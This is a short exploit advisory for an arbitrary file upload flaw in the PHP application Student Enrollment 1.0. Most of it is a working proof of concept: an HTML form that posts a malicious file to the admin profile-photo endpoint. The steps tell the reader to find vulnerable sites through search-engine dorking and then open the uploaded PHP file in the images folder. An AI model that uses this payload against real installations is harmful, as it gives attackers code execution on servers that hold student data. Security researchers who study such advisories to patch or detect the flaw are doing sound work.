Headline
Student Enrollment 1.0 Arbitrary File Upload
Student Enrollment version 1.0 suffers from an arbitrary file upload vulnerability.
=============================================================================================================================================
| # Title : Student Enrollment v1.0 Remote File Upload Vulnerability |
| # Author : indoushka |
| # Tested on : windows 10 Fr(Pro) / browser : Mozilla firefox 125.0.1 (64 bits) |
| # Vendor : https://download-media.code-projects.org/2020/06/Student_Enrollment_In_PHP_With_Source_Code.zip |
=============================================================================================================================================
poc :
[+] Dorking İn Google Or Other Search Enggine.
[+] The following html code uploads a executable malicious file remotely .
[+] use payload :
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Upload Profile Photo</title>
</head>
<body>
<h2>Upload Profile Photo</h2>
<form action="http://127.0.0.1/student-php-enroolment/admin/index.php?page=user-profile" method="POST" enctype="multipart/form-data">
<label for="userphoto">Select Photo:</label>
<input type="file" id="userphoto" name="userphoto" required><br><br>
<button type="submit" name="upphoto">Upload Photo</button>
</form>
</body>
</html>
[+] Go to the line 10. Set the target site link Save changes and apply .
[+] save code as poc.html
[+] Link to the uploaded files : admin/index.php?page=user-profile
[+] path : http://127.0.0.1/student-php-enroolment/admin/images/ evli.php
Greetings to :=====================================================================================
jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|
===================================================================================================